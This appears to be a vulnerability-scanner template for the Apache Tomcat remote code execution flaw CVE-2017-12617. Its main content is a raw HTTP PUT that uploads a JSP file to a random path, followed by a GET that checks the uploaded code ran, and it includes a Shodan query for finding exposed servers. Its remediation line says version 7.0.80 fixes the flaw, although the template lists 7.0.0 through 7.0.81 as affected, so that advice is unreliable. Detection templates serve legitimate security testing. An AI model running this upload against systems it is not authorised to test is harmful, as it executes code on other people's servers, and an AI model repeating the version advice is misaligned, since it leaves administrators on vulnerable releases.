id: "CVE-2017-12617" info: name: Apache Tomcat - Remote Code Execution author: pussycat0x severity: high description: | When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default servlet to false) it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. remediation: | Upgrade to Apache Tomcat version 7.0.80 or later to mitigate this vulnerability. reference: - https://versa-networks.com/blog/apache-tomcat-remote-code-execution-vulnerability-cve-2017-12617/ - https://github.com/cyberheartmi9/CVE-2017-12617 - https://www.exploit-db.com/exploits/43008 - https://nvd.nist.gov/vuln/detail/CVE-2017-12617 - http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: "CVE-2017-12617" cwe-id: CWE-434 epss-score: 0.97494 epss-percentile: 0.9997 cpe: cpe:2.3:a:apache:tomcat:7.0.0:*:*:*:*:*:*:* metadata: verified: "true" max-request: 2 vendor: apache product: tomcat shodan-query: html:"Apache Tomcat" tags: cve,cve2017,tomcat,apache,rce,kev,intrusive http: - raw: - | PUT /{{randstr}}.jsp/ HTTP/1.1 Host: {{Hostname}} <% out.println("CVE-2017-12617");%> - | GET /{{randstr}}.jsp HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body_2 words: - "CVE-2017-12617" - type: status status: - 200 # digest: 4a0a00473045022040f8920ad27226cd8e858276b375ab70cb7d9b443f941249a2da631eb1ca6dd6022100b5644f9598fe16fc8592176fa9203899ce9676ed11871e7587f93d87e03c04b9:922c64590222798bb761d5b6d8e72950